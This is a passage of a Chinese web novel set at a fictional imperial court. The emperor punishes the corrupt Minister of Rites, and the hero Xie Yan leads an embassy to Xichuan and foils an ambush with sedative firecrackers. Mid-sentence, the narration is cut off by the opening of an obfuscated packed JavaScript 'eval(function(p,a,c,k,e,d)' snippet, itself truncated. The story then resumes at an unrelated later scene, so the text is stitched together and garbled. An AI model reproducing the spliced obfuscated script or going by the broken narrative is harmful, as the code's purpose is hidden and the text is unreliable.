最主要薛江也没料到,玄崇竟然好意思当着文武百官的面直接言明自己娶不起妻,真是一点帝王的颜面都不要了。 至于让群臣凑银子给皇上娶妻,开什么玩笑,连当初黎城被东陵夺了即将国破时,玄崇想让他们给边关将士筹银筹粮他们都不愿意,更何况是给别人娶妻这种事,即便那人是皇上又如何。 所以一时之间,朝堂上突然陷入一种让人有些窒息的尴尬之中。 好在朝堂上还有一些忠心耿耿的臣子,表示愿意一人拿出一年的俸禄来,替玄崇凑娶妻的费用。 一直站在末尾静静看着这一切的谢彦,发现愿意给玄崇凑钱娶妻的,基本都是在那种清水衙门里当值的,自己也很穷。 特别是那位大理寺卿韩泰韩大人,为人廉洁刚正,连官袍都洗的发白了还舍不得换件新的,要像韩泰这样靠俸禄养家的官员拿出一年俸禄来,估计他们家里人接下来的一年也就不用吃喝了。 玄崇显然也知道这些人的情况,所以他对韩泰他们道:“各位爱卿的心意朕领了,不过这年头,谁家日子过得都不容易,好在朕也还不算老,立后的事就暂时往后推一推,等我大启的情况稍缓一些再议。 “立后乃是大事,总不能委屈了陛下,臣倒是有一个法子。” 沉默了许久的薛江再次开口道。 玄崇似乎被他的话勾起了兴趣:“哦,那不如薛爱卿说来听听!” 薛江道:“听闻南越的长公主念月公主,不仅相貌倾城,德才兼备,而且南越皇帝还曾说过,将来要是谁娶念月公主,他会以半壁江山给她做嫁妆,如今南越边疆战事已经被沈将军平定,如果这个时候陛下派使臣出使南越,提出和亲一事,若南越能答应,我大启不仅可得一位德才兼备的皇后,还可以得到南越半壁江山。” “既然南越的长公主那么优秀,薛爱卿就怎知她能看得上朕这样一个穷皇帝。” 薛江恭维道:“陛下万不可妄自菲薄,陛下生的如此丰神俊朗,又雄才大略,想来是个女子见了陛下的画像,都会对陛下一见倾心。” 本来还好好的玄崇闻言突然脸色一沉:“薛爱卿是想让朕以色示人,贪没南越公主的嫁妆?” 薛环见状赶紧跪下,“微臣不敢,臣也是为了陛下和我大启着想,陛下若是能和南越结亲,对我大启百利而无一害。” 玄崇却冷笑道:“是吗,可朕怎么听说,南越的念月长公主不仅德才兼备,还会巫术和养蛊,薛爱卿是想让大启皇室多一位不知什么时候就会在你身上使用巫术和下蛊的皇后?” 薛江闻言目光闪了闪,连忙摇头:“这臣还真不知,若真如此,那自然不能让这样的人当我大启的皇后,臣听闻西川的小公主” 薛江的话还没说完,就被玄崇打断了:“来人,礼部侍郎薛江目无尊卑,越俎代庖,居心叵测,企图把南越巫术引入我大启皇室,把他拖出去廷杖五十,打入天牢!” 玄崇话落,薛江顿时面如死灰,还没来得及求饶,就被人用极快的速度给拖出去了。 廷杖五十,不死也得去半条命,还得下大狱,一时之间,大殿上又是一片死寂,没一个人敢替薛江求情,毕竟连他们都觉得,薛江让玄崇和南越的长公主结亲这个提议是在找死,更何况他还在被皇上拒绝后,又想提议让他去和西川的小公主结亲,薛江把皇上当成什么了,一件和亲的工具吗。 皇上再怎么样也还是皇上,如今皇上更是通过这次科举替自己找了不少帮手,虽然现在绝大部分都被外放了,但日后这些人要是政绩突出,必然是会被调回京委以重任的。 现在的皇上已经不再是几年前那种腹背受敌,无人可用,即使有不满也只能隐忍的处境,薛江这个时候撞上来,不是刚好让皇上找到了杀鸡儆猴的机会了吗。 谢彦看着自己的上司三言两语就把自己给作死了,微微摇了摇头,就在这时他又听见玄崇对礼部的第一把手礼部尚书董怡道: “董爱卿,礼部的风气近几年是越来越差了,礼部的一些老人仗着资历深,对上目无尊卑,对下打压下属,朕虽然知道你公务繁忙,但你也还是要抽出一些时间来好好整顿一下礼部!” “陛下此话真是折煞老臣也,是老臣失职,没能管好属下,让其狂妄忤逆,触犯圣颜,不过薛江虽罪有应得,但老臣也有不可推卸的责任,还请陛下一并治老臣的罪。” 董怡虽然话说的诚惶诚恐,但硬是连跪都没跪一下,不过董怡是两朝老臣,追随先帝多年,又是世家贵族出身,手下当权的门生也不少,牵一发而动全身,所以百官并不觉得皇上敢轻易治董怡的罪。 而事实玄崇也确实没有治董怡的罪:“董爱卿追随先帝多年,没有功劳也有苦劳,这次爱卿御下不严的罪朕就不追究了,但若再有下次,爱卿也莫要怪朕不顾念旧情,公事公办了!” 虽然玄崇对董怡的态度可以用温和来形容了,不过百官还是听出了玄崇话里有话,心说玄崇这是盯上了礼部,准备拿礼部第一个来开刀? 董怡听了玄崇的话后恭恭敬敬的回了句:“老臣定不辜负陛下所望!” 他说完顿了顿又道:“礼部侍郎一职至关重要,如今薛江已被打入大牢,他这样居心叵测之人定不能再用,老臣又年事已高,精力有限,还请陛下尽早选个新的礼部侍郎人选出来。” 百官一听董怡这话心里皆是一惊,心说董怡这是放弃薛江了,连捞都不打算捞一下,还一句话就直接让他永无翻身之日。 在场的人都清楚,薛江是董怡的门生,今日薛江对皇上说的那些话,要是没有董怡的授意,薛江是无论如何都不敢说的,但如今出了事,董怡却毫不犹豫的就把他给弃了,这不免让在场的董怡的人,有种兔死狐悲的感觉。 这时玄崇却道:“爱卿的大公无私让朕深感欣慰,不过礼部的人和事爱卿比朕了解,不如爱卿先自己挑选几个觉得合适的官员出来,朕再从中定如何?” “老臣遵旨。” 本来董怡还以为玄崇想趁机往礼部塞自己的人,但却没想到最后却让他来选,这不免让他感到狐疑。 不过不管玄崇心里在打着什么算盘,但礼部侍郎一职,董怡都绝不可能让玄崇的人来担任,即便来了,他也会设法将人给挤走,就像对待那个到现在还在坐冷板凳的谢彦一样。 不过玄崇那句说薛江打压下属的话,明显是在敲打他,所以董怡已经决定不能再让谢彦一直坐冷板凳,那样针对的意味太明显,而且以谢彦的厚脸皮,坐冷板凳这招对他似乎没什么用。 董怡心说那就让那个谢彦忙吧,忙到忙中出错的那种程度。要是谢彦自己犯了错误,被赶出礼部,玄崇也不能明着迁怒于他。 不过在场的其他官员却和董怡的心境不同,特别是有能力争一争礼部侍郎那个位置的官员,已经在盘算要怎么去讨好董怡了。 因此接下来的几天,去董府送礼的人比以往更多了。 因为暗中送礼的人有些多,因此礼部侍郎的推荐名单,让董怡一时难以抉择,同时他也想多吊着那些想要这个官职的人一些时日,好趁机大捞一笔。 玄崇似是毫无察觉,也不催促,还暗示董怡礼部侍郎一职至关重要,让他慢慢观察,不必急于一时,以便能挑出一个最佳人选出来。 玄崇的话正合了董怡的意,所以一时之间,礼部侍郎这个职位就空着,相关事务暂由礼部其他人代劳。 谢彦这个原本职责就是协助礼部侍郎处理司务的小官,也没机会再坐冷板凳了,甚至被安排了比其他人更多的事。 本来礼部的人以为他坐了这么多天冷板凳,不是在礼部四处乱转悠就是乱写乱画和吃东西,肯定对礼部的事务一窍不通,有不少人都在等着看他抓瞎出错,好趁机把他踢出礼部。 只是他们不知道的是,谢彦平时看似在礼部四处瞎转,其实确是在观察礼部的办事流程,而他在外人眼中消磨时间的乱写乱画,其实就是观察后的总结。 再加上谢彦前世总结出来的高效快捷的工作方法,在这工作效率堪比蜗牛慢爬的古代,礼部给他安排的那点工作量,又怎么可能刁难得了他。 “常听人说谢大人大才,果然名不虚传。” 礼部一个比谢彦高出一级,平时存在感极低名叫常茂的官员,被分派和谢彦一起处理司务时,在和谢彦整理了一天礼部侍郎那些繁杂的卷宗后,不由赞了一句。 谢彦有些意外的看了这个平时几乎不与人说职务以外话的中年人一眼。 常茂见谢彦有些意外的看向自己,有些枯瘦的脸上露出些许尴尬,不知是不是为了掩饰自己的尴尬,他岔开话题,伸手指了指谢彦整理摘抄的卷宗中的一处地方:“谢大人这份卷宗虽说错无遗漏,只不过这个素字,谢大人要是能用其它字替换一下就更好了。” 谢彦听了常茂的话,看向那个素字,思忖片刻后心里一惊,因为这个素字与当今太后闺名中的素字重叠了。 古人向来对尊长之人的名讳特别在意,遇到与尊长的名讳相同的字,或是用别的字代替,或是少写一笔。 谢彦穿过来后,因为有原主的记忆,所以在科举考试时时刻谨记不能犯了写出与皇上或是先帝这些人名讳重叠的字,就连与太后名讳重叠的字他也有规避,以免引来不必要的麻烦。 今日也是一时大意,多亏有常茂的提醒,才不至于让人鸡蛋里挑骨头,给他弄个子虚乌有的罪名出来。 谢彦朝常茂拱了拱手:“多谢大人提醒,下官不胜感激。” 常茂没想到他反应如此之快,摆了摆手道:“谢大人客气了,要论谢,也该是本宫谢你。” 他说着指了指那些已经整理完毕的卷宗道:“要不是托了谢大人的福,这么多的卷宗,还不知要整理到何时。” 谢彦听他如此说,便也未在一直道谢。 ―― 转眼又到了休沐的日子,谢彦带着玄崇给的钥匙,去了正阳大街,打算去那处玄崇故人留下的旧居看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过他的这个提议一出,就遭到了不少大臣的反对,魏相更是“带病”上朝,他建议与西川议和之事,还是等沈金戈这次从北狄战场上回来后再定,还说这样到时他们就多了一个有利的谈判条件。 虽然魏相的这个建议看似确实有道理,但不管是玄崇还是谢彦,心里都十分清楚,魏相和他的爪牙之所以会极力阻拦此事,不过是料定沈金戈此次肯定没那么容易从北狄战场上活着回来。 要是沈金戈就此死在北狄战场上,那么西川议和这个计划只能泡汤,毕竟只要沈金戈一死,谁还会再忌惮大启,西川又怎么会选择与其他三国为敌,和岌岌可危的大启议和。 谢彦十分想不通,人家别国帝王和权臣内斗的时候,至少关键时刻都是一致对外的,不然要是国破对谁都没有好处,但魏相似乎巴不得大启国破才好,除非…… 谢彦想到这里,目光微眯看向还在和玄崇据理力争的魏相,玄崇似乎心意已决,而且朝堂上也有不少官员支持他的意见,他们显然也看出了蹊跷之处。 “董爱卿,你来拟订一份此次出使西川礼部官员的名单,朕明日早朝时就要看到。” 玄崇不理魏相的极力阻拦,直接对董怡道。 谁料董怡却没有立刻回答,而是看了魏相一眼。 而魏相也恰巧回看了他一眼。 俩人经过眼神交流后,董怡才对玄崇道:“回禀陛下,老臣也觉得魏相所言有理,还请陛下三思。” 玄崇冷笑:“董爱卿这是在公然抗旨?” 董怡却道:“老臣不敢,老臣所做的所有事,都是为了我大启。” “是吗,那爱卿私下收的这些厚礼也是为了大启是吗?” 玄崇说罢,把一份长长的礼单和送礼人的名单,重重甩到了下面的董怡面前。 董怡在看到那份礼单和人名后,顿时面如死灰,扑通一声跪倒在地。 随着董怡的跪倒,那些给董怡送过礼的大臣也纷纷跪倒一片。 董怡震惊过后,又看向魏相,希望他能替自己求情。 原本魏相还指望董怡给他打配合,没想到现在竟然成了拖后腿的,魏相在心里骂董怡有本事贪却没本事擦干净屁股,不过气归气,董怡要是出事,对他半点好处没有,而且他此时要是置身事外,还会让跟着他的人以后对他失去信任,所以魏相最终还是捏着鼻子设法替董怡这帮废物擦屁股。 “陛下,董爱卿怎么说也是两朝老臣,没有功劳也有苦劳,如今年老一时犯了糊涂,倒也情有可原,而且陛下看看,下面跪着的这一片,可都是朝中重臣,要是他们都被定了罪,那我大启的朝堂可就要乱套了,俗话说的好,法不责众,还请陛下小惩大诫,相信他们会洗心革面,将功补过。” “朕瞧魏相这意思,到是对这贪污受贿的事习以为常,所以从不觉得这是什么大事,莫非魏相平时也是如此?” 魏相闻言面不改色地道:“老臣素来对黄白这些俗物毫无兴趣,要是陛下不信,大可以派人去查。老臣会替董大人等人求情,也是不想看到我大启乱了朝纲。” “那魏相觉得如今的朝纲就不乱了吗,君不像君,臣不像臣,有人公然当朝抗旨,还有人当着百官的面公然包庇贪污受贿的官员,还用法不责众这种话来威胁朕,既然如此,那再乱一些又何妨,我大启绝不用德行有失的官员。” 魏相闻言终于跪了下来:“老臣惶恐,还请陛下息怒,老臣也是为了大启的江山社稷考虑,才一时犯了糊涂!” “魏相年事已高,还要为大启日夜操劳,偶尔犯一下糊涂,倒也情有可原,下朝后魏相还是先回去好生休养,万不可太过劳累。” 玄崇说完声音陡然变冷:“来人,礼部尚书董怡利用职务之便,贪污受贿,数目巨大,证据确凿,从即日起,削去官职,打入天牢,董家除了董家主母的嫁妆,其它家产全部抄没充公!至于此次为了礼部侍郎这个职位给董怡送过厚礼的官员,全部削去官职,永不再用!” “陛下恕罪,陛下……” 玄崇话音一落,底下哀声一片,但却无人再敢替那些罪臣求情。 在董怡他们都被押下去后,玄崇还是自谢彦封官上朝以来,第一次在朝堂上同谢彦讲话:“谢爱卿,与西川议和以及互通商贸的建议既然是你提出来的,这次就由你率领礼部使团和大启商队出使西川。” 魏相刚想反对,就被谢彦抢先一步:“臣遵旨!” 魏相被气得晃了几晃,这次是真快被气晕了,可接着就见玄崇又把淹没在众多官员中,十分不起眼的常茂给提溜了出来: “常茂听旨,从即日起,就由你暂代礼部侍郎一职,处理礼部日常事务。” 魏相刚又想反对,就见平时做什么都不紧不慢的常茂,还是抢先了他一步:“臣遵旨!” 玄崇满意的点了点头,示意他平身,随后又点了好些个平时不显眼的低品阶的官员,接替了刚刚被削了职的那些官员的职务。 魏相撑着一口气熬到退朝,临走前还看了一眼上面坐着的那个已经不再事事隐忍的帝王,随后又扫了一眼站着百官最后面的谢彦,谁料谢彦的目光却正好与他对上,还附赠了一个灿烂的笑。 魏相强压下快涌到嗓子眼的那股腥甜,气得拂袖而去。 27. 遇伏 下了朝后,谢彦还没走多远,就见小喜子从后面追了上来。 “谢大人,陛下请您去一趟御书房。” 谢彦闻言停了脚步,转身跟着小喜子去了御书房。 “参见陛下。” 玄崇抬了抬手,示意谢彦平身,看他的神色,似乎心情不错的样子,对谢彦也难得的和颜悦色。 “不知陛下召臣来所为何事?” 玄崇道:“朕召爱卿过来,是想问问,不久爱卿便要出使西川,云儿你准备交予谁带?还有万贺楼的事,你打算如何安排?” 谢彦闻言,便把自己对于正阳大街那处宅子的情况和打算跟玄崇说了。 至于孩子,他自然得带上,现在柳如烟不在京城,沈金戈也不在,铁蛋交给谁谢彦都不可能放心。 即便出使别国还带个孩子闻所未闻,但谢彦做这种事也不是第一次了,毕竟他之前还带着孩子赶考和跨马游街了,就是不知道玄崇会不会特许。 谁料玄崇却道:“西川路途遥远,云儿还太小,不宜行那么远的路,而且爱卿此去西川,危机重重,实在不该带着云儿去涉险。” 谢彦听出来了,玄崇这是不准他带着铁蛋去西川,不过玄崇的顾虑不是没有道理的,去西川已经是出国了,此次行程确实吉凶难料,就在他陷入两难的时候,就听玄崇道: “爱卿要是信得过朕,不如就把云儿送进宫来,朕来照看他。” 让皇上给带孩子,这也还是头一遭,不过一想到铁蛋还是沈金戈的孩子,似乎又合理了。 只是这宫里并没有表面上看起来的那么安全,玄崇又那么忙,谢彦怕玄崇忙起来让心怀叵测之人找到机会,那么铁蛋就危险了。 比起把铁蛋送进宫,谢彦觉得还不如让他跟着万福他们留在家里那边安全一些。 玄崇似是看出了他的不放心,不但没有生气,还跟他保证道:“爱卿放心,只要朕在,就绝不会让人伤害到云儿。” 谢彦虽然觉得玄崇这话说的太满,但他都说到这个份上了,自己要是再不同意,恐怕就得被治罪了。 而且玄崇现在的处境比之前好了不少,还有袁公公和小喜子两个忠心耿耿的内侍,虽然还是不放心,但也只能同意了。 玄崇见他同意了,松了口气,要是谢彦坚持带着孩子去西川,他也不可能硬拦着不让,毕竟谢彦就是这么带着孩子一路从龙泉走到今天这一步的。 虽说这一路上有刘缨将军护着,暗中他又派了人一路护送,但以谢彦一路上的表现来看,即便没有刘缨将军和他派去的人,谢彦也能靠着自己的能力带着孩子平安抵达京城。 不过去西川到底和在大启境内不同,而且谢彦此去,事情繁多,说不定路上还会有人暗中设伏,他自然不可能让那么小的孩子跟着谢彦去涉险。 虽然宫中确实也不安全,但他现在已经不像之前那样分身乏术了,自从自己妹妹被寻回后,再加上谢彦和此次科举选出来的一大批人才,让他多少有了些喘息的机会,看个孩子在他看来还是没问题的,所以他才会把话说那么满。 谈完带娃的事,玄崇才又说起了有关万贺楼的改建事宜,他让谢彦先安心出使西川,至于万贺楼的改建工程,他让谢彦说个大概的要求,他会安排人按照谢彦的要求去改建。 至于改建所需的银子,玄崇大方的表示会暂时替谢彦垫了,等他从西川回来后再还。 本来谢彦想说,你都穷的快揭不开锅了,哪里来得那么多的银子,但一想到早朝上玄崇刚下令抄了一个已经被养的肥的流油的贪官的家,他就没再多说什么了。 当然玄崇的银子不是那么好花的,谢彦估计等自己从西川回来,怕是要连本带利的还回去才行。 而且玄崇之所以会提出给他垫银子,估计也是怕他此去西川耗时太长,改建的时间被耽搁,不能让万贺楼早点开张。 此次谢彦去西川,自然不会空手去,他会同那些愿意同行去西川的商队一样,带上一批货,他现在身上的银子,再加上店里这些天的盈利,也够他进不少货的了,要是此行顺利得话,等回来时应该能赚够改建酒楼的银子。 谢彦和玄崇谈妥后,从宫里回去的时候,又绕道去了齐钊家的酒铺一趟,让他们准备好足够多数量的酒,到时跟着他一起去西川。 虽然齐家的酒,和谢彦二次过滤后的酒不能比,但在这古代,也算是顶好的了,他们的酒卖去西川,同样也会受欢迎。 跟齐家在京城的分号掌柜说好后,谢彦又去了夏家在京成的布庄,也是让他们尽快备货,还建议他们尽量多备一些色彩艳丽的布,因为以他前世对西川地理位置的了解,色彩艳丽的布是绝大部分西川人的心头好。 同时谢彦还请夏齐两家帮自己从青川府进一批茶叶一起运来京城,他准备带去西川卖,他还建议要是夏齐两家有闲钱,也可以再买些茶叶或是瓷器什么的,一起带去西川卖。 虽说此次去西川,议和的事还不一定能谈成,使团中冒然夹着一支商队,其实是冒着很大风险的,毕竟要是议和不成,他们这些货,怕是要原路去原路回了,就这还是好的结果,要是路上遇到穷凶极恶要钱不要命的劫匪,说不定就有去无回了。 但夏齐两家的掌柜本就对谢彦十分钦佩和信任,所以他们立刻就飞鸽传书给了青川府的主家,回明了此事。 夏星河和齐钊的父母在收到消息后,半点都没有犹豫就开始安排人备货。 他们还听从谢彦的建议,额外进了一大批茶叶和瓷器,还有对于西川的人来说十分稀奇的东西。 不得不说,会做生意的人,不管做什么生意,都是融会贯通的,更是敢冒险抓住机会的。 最主要夏齐两家,在之前几国还维持表面和平的时候,他们也和大启周边邻国做过生意,除了北狄环境太过恶劣,他们很少接触,其他几国人的喜好,夏齐两家都是比较了解的。 不过也不是所有人,都像夏齐两家那样有见识胆识和信任谢彦,所以京城这边,很多大商号,都不愿加入这支不一定还能回得来的商队。 倒是有不少小商户,愿意冒险一试,毕竟和西川这条商路要是再次打开了,就能解大启当下的困局,同时让他们这些因为战乱快要经营不下去的小商户,有了更大的生存和发展空间 这些小商户中,竟然还有当初卖给谢彦房子的那位吕老爷。 吕老爷名叫吕淮,是做瓷器生意的,大启因为接连的天灾和战争带来的影响,所以像吕淮这样做瓷器买卖的商人,生意也并不太好做,所以当初他才会迫不得已卖了一处宅子来周转。 谢彦一开始不认识吕淮,还是先看到他身旁的吕管家,经他引荐才认识的。 因为谢彦是这次出使西川的领头人,所以要跟他一起去西川的商队负责人,他自然要提前把大家召集起来见上一见。 像吕淮这些小商户,他们基本都是亲自随商队前往西川的,不像夏齐两家那样的大商号,都是派信得过的管事和会拳脚的护卫跟着去的。 谢彦在临行前,告了几天假,在家忙忙碌碌准备了一大堆东西,期间又是对铁蛋各种交代,比如宫中除了他的皇舅舅和袁公公还有小喜子公公给的东西,其他任何人给的东西都不能吃,更不能去这三人看不到他的地方。 还有就是玄崇是皇上,每天特别忙,谢彦让铁蛋没事就在住处读书写字,或是玩自己给他准备的那些玩具,千万不要去打扰玄崇,更不能说大不敬的话,不然要是把玄崇惹恼了,他爹娘也不一定救得了他。 铁蛋本想说,既然如此,那自己就不能不进宫吗,毕竟他和他那个皇舅舅见都没见过,还不如跟万福一家熟,再说他也挺忙的,每日不仅要读书练字,还得练武,这是他娘走前留的任务。 另外打小就是操心命的铁蛋,也不放心家里的生意,既然宫中诸多不便,那他为何还要去,平白给他那位日理万机的皇舅舅添麻烦。 不过他爹说了,是他皇舅舅不放心他,一定要接他进宫,他皇舅舅说的话就是金口玉言,谁都不能违抗,不然可是要掉脑袋的。 铁蛋为了不让他和他爹掉脑袋,自然只能乖乖听话,面对他爹重复了已经不下百遍的叮嘱,铁蛋像个小大人似的认真对他道: “爹,您说的云儿都记下了,云儿一定会按您说的谨言慎行,绝不会惹恼皇舅舅害我们掉脑袋的,同时也会保护好自己,不让爹娘担心。” 谢彦闻言无奈叹了口气,他也没想到,自己有朝一日,也会变得这么唠唠叨叨。 不知不觉间,他和铁蛋之间,已经有了再也剪不断的羁绊,要是铁蛋真出什么事,他应该会不计后果的把害铁蛋的人炸成渣渣。 为了以防万一,谢彦把铁蛋送进宫时,不仅带了铁蛋要吃和要用要穿要玩的东西,还带了不少应急的药品和一箱会炸的小球。 他把那箱会炸的小球交给玄崇的时候,玄崇忍不住抽了抽嘴角,觉得自己上次是沾了妹妹的光,这次又是沾了大外甥的光。 不过谢拂云这个大外甥长的是真招人喜欢,玄崇一见着他,原本坚如磐石的心也不免软了一角。 当然这不仅仅是因为谢拂云长得招人稀罕,最主要这个孩子是他妹妹的孩子。 当初要不是玄崇自顾不暇,他也不会同意沈金戈把孩子留给谢彦,而是会把他接进宫自己教养。 小家伙见到他一点都不怵,说话有礼有度,跟个小大人似的。 在玄崇看来唯一美中不足的,就是小家伙长的不像自己妹妹。 但孩子长相像谁这种事,还真是谁都决定不了,所以玄崇倒也没有因为自己大外甥长得几乎和谢彦一模一样,就不喜欢他了。 谢彦临走前还对玄崇说:“以后每隔两日,臣就会让万福送一次吃食来宫门口,到时还劳烦陛下派人去宫门口取,要是不够云儿吃的,陛下也可以派人直接去店里取,臣都和万福交代好了。 本来谢彦是想每日都让万福送的,但又怕那样会让玄崇觉得太麻烦,所以才会说隔两日送一次。 玄崇闻言轻咳了两声,似是不在意的点了点头。 谢彦见玄崇一副假正经的模样,自然不会戳破他那点心思,一是不敢,二还指着人家给带娃呢,虽然他并不是那么想让玄崇来带。 谢彦安顿好铁蛋的一切,便率领使团和商队出发了。 因为有了玄崇之前在朝堂上的杀鸡儆猴,而且这次出使西川的使团人选,又是玄崇亲自挑的,玄崇在临走前,还叮嘱所有人,此行一切都听谢彦的,即便谢彦有什么超出常规的举动,也要求他们无条件服从,否则谢彦有全处置他们。 所以即便使团中的人官职几乎都比谢彦高,但也没有人挑事,甚至一路上他们还给还不是很了解出使他国流程的谢彦,全方面的科普了一下。 这倒是给谢彦省去了不少时间和一些不必要的麻烦,可以让他把精力都用在一致对外上。 当然谢彦也不会亏待了这些不作妖还帮助过自己的同僚,一路上谢彦时不时就能让他们吃到对他们来说从未常吃过的美味食物。 玄崇在临行前,除了安排使臣必备的护卫队外,还额外安排了一个名叫韩离的少年给谢彦。 据说这个韩离自小就拜高人为师,跟着师傅在深山里习武,前不久刚学成下山,别看才十七岁,不仅武功很高,轻功也十分了得。 韩离回京后,本来是打算北上投军去的,不曾想却赶上了谢彦出使西川,玄崇觉得这个少年谢彦可能会用得上,便征询韩离父亲大理寺卿韩泰的意见,看能不能让韩离先护送谢彦去西川,等从西川回来,再让他自己决定是进军营还是做其它。 韩泰对谢彦似乎很欣赏,竟二话没说就同意了。 韩离武功到底有多高谢彦不清楚,不过他那性子,真是硬得跟块石头似的,估计和沈金戈有得一拼,平时别人不问他话,他绝对不会主动多说半个字,那嘴就跟被浆糊给糊住了似的。 谢彦心说,是不是武功高强的人都这副德行,但想想也不全是,比如情绪价值能给他拉满的柳大哥。 谢彦想到此处,摸了摸随身携带的当初柳如烟送他的匕首。 摸着匕首,他才想起,自己曾经打算要给柳如烟寻一件武器的事,不知这次能不能在西川遇到适合柳如烟的武器,要是遇到他一定设法拿下,到时找机会请人给他捎过去。 不过话说回来,韩大人能二话不说就让自己小儿子护送他去西川,还是让谢彦很感激的,所以对于韩离那要么半天不说话,要么说一句就能噎死人的脾气,倒也没有在意。 本来谢彦以为,这一路上肯定会遇到不少埋伏,但路已走过大半,他们都没有遇到劫匪。 小劫匪不敢劫使团所以不露头谢彦还能理解,但他却不信刚被他们得罪的那一大批人,会就这么甘心什么都不做。 因此即便一路上看起来风平浪静,谢彦也并没有放松警惕,即便是沿途驿站的吃食和饮用水,他都格外仔细的检查,路上他还安排韩离在最前面开道,因为这一路相处下来他发现,韩离虽然话少,但不管是耳力还是观察力都十分惊人。 一日,他们走到一处三不管地带,要经过此处,必须经过一条狭长的山道。 骑马走在最前面开道的韩离突然勒住缰绳,待在原地半晌才返回谢彦所乘的马车旁边,对谢彦道:“改道!” 谢彦却扬了扬手里的地形图,有些遗憾的对他说:“无道可改,不然我们也不会选择走这条道。” 少年神色凝重道:“前面可能有埋伏,过不去!” 谢彦点点头,随即问他:“听闻你会轻功?” 这次换韩离点了点头,不过神色间却带着一丝疑惑,心说你不会以为我会轻功,就想让我带着你们一个个的飞过去吧? 谁料就在他心里吐槽的时候,就见谢彦已经打开了车上的一个木箱子,从里面拿出几个圆球出来递给他:“那你带着这些,往你觉得有埋伏的地方扔几个探探情况。” 韩离看着那些球,脸上第一次露出少年人才会有的好奇来:“这是何物?” 谢彦咧嘴一笑,低声道:“炮竹,不过买时老板跟本官说,这个性质和普通炮竹稍微有些不一样,你点着下面那根线就赶紧丢,而且最好在上风口丢,不然可能会被波及,当然,你要是害怕,我也可以再另想办法!” 韩离虽然今年只有十七岁,但百年前南越配制出火药的事,他也是听说过的,谢彦说的这个特性,那不就是火药吗,虽然谢彦说这个是他买的,但他才不会相信,毕竟有关谢彦那些异于常人的传闻他也听说过一些。 想到这里韩离再看谢彦,原本有些桀骜的眼神里,多了些不一样的东西,他的手有些微微发抖的接过谢彦给他的那几个球,不过还是嘴硬的说了一句,“我才不怕。” 韩离确实不怕,他手会抖不过是太过激动罢了,毕竟这个球要真像谢彦说的那样,那大启就真有救了。 谢彦冲他点了点头:“嗯,本官知道。”谢彦说完还拿了一个看起来有些怪的面罩让他带上。 韩离没想到谢彦会这么说,而且看他那神色,似乎对自己深信不疑,一时竟不知该如何作答,不过他还是按照谢彦说的,把那个有些古怪的面罩带上后,随后把那几个球揣进怀里,直接从马上一跃而起,攀上侧边的山壁,几个起跃就上了山。 韩离上山后,下面的人很快就看不见他的身影了。 谢彦趁机让那些驾车或是骑马的人都拉紧缰绳,以防等下马匹受惊不受控制,还让随行的护卫,等下听见动静后上山去帮韩离。 众人虽然不明白具体发生了什么,但但凡长期在外面跑的人,也知道像前面这种山道是伏击和杀人越货的好地方,及其危险,所以大家都认真按谢彦说的做。 很快就从远处传来几声巨响,还好马都被提前控制住了,不然肯定会受惊造成混乱。 谢彦见状,立刻让已经准备好的护卫队过去接应韩离,还叮嘱让他们只要留一个活口就行了,同时也给他们都发了块非常厚实的方巾让他们蒙紧口鼻。 虽然谢彦是文明人,但他现在所处的环境不同,自然不能去用文明社会的那一套来对待古代这些刺客,对要暗杀自己的敌人仁慈,那就是准备把自己送上绝路。 等那些侍卫赶到山上的时候,就见埋伏在那里的黑衣人已经倒了一片,四周还有一些没完全散尽的烟尘。 那些黑衣人虽然也蒙着面,但不知是不是蒙面的布太薄了,总之已经没力气反抗了。 而此时的韩离正在掰一个人的嘴,但显然已经晚了,那人的牙里可能装了毒药,从倒下并看到韩离出现后,他就咬破嘴里的毒牙自尽了,而其他人也都是如此。 后来的那些护卫见状,也没有犹豫,立刻在四周开始搜索,看有没有漏网之鱼。 直到确定没有遗漏,又在那些黑衣人身上搜索了一番,结果什么线索都没搜到,最终只能把那些黑衣人的尸体都丢进山的另一边的悬崖下后才回去,不过韩离还留了一具尸体带了回去。 毕竟谢彦交代过,要带一个回去的,即便已经没了活口,死的也要带一个回去。另外他还让人把那些人随身携带的武器和箭驽都带了回去,这可是一笔意外收获,自然不能丢了。 韩离回去后跟谢彦说了山上的情况,在此埋伏的竟有五十人,看样子应该都是高手,而且他们牙里都还装了毒药,十有八九是死士。 那些黑衣人不仅每个人都随身携带了淬了毒的箭弩,而且还在山上准备了大堆的石头,要是没有谢彦那些装在炮竹里的大量迷药迷晕了那些黑衣人,即便黑衣人不设埋伏,就和他们面对面的打,他们也很难有胜算。 幕后的人恐怕是要将整个使团和商队一网打尽,一个活口都不留,只是幕后的人可能也没想到,自己派出去的这批高手,最终会死在谢彦改良后的“迷药炮竹”上。 虽然韩离对于谢彦给他的球并不是火药稍稍有些失望,但他心里也清楚,杀伤力巨大的火药哪里是那么轻易就能配制出来的,谢彦能做到如此,也算是个人才了。 本来韩离在来之前还觉得,他那个不苟言笑又很少夸人的爹,在家里人面前对谢彦的夸赞有些过了,但现在看来,谢彦确实是有些本事在身上的。 少年人便是如此,即便再冷再傲,一旦你能在某件事上让他服气,他便会对你信服。 所以韩离即便在态度上看似没什么改变,但谢彦还是感觉到了他的变化,这次不得不说多亏有韩离,不然他还得费不少力气。 不过这些死士到底是谁的人,魏相的?贤王的?还是宫里那位人淡如菊的太后的? 虽然这三人看似一家人,但谢彦观他们的行事,却又不太像是一伙的。 魏相嚣张的似乎有些过头了,野心全都写在了脸上,越是这样的人,反倒没那么可怕,反倒是到现在为止,还一直没有机会见过的那位魏太后,更让谢彦摸不透。 魏太后这些年的所作所为,更是让人无法理解,说她想为自己儿子争吧,但几次关键时刻,她似乎都没能把握住机会。 但要说她不争吧,却又纵容自己父亲与玄崇分庭抗争,看着即将面临国破的大启也是不闻不问。 至于贤王,虽然看似即得民心又有城府,但所做之事,又总有一种智商不太高的气质在身上,他要想成事,在外人看来,还得靠自己外公,只是魏相的行事,却又似乎并没有考虑自己外孙的死活。 毕竟魏相要真是为贤王这个外孙考虑,就该韬光养晦,寻找时机一击必中拉玄崇下马,然后扶贤王上位,而不是整天和玄崇对着干,甚至不惜以搞得大启国破为代价。 而现实却是大启若是有朝一日真的国破了,不仅玄崇没有好下场,就连贤王这个大启的亲王,又能落个什么好下场。 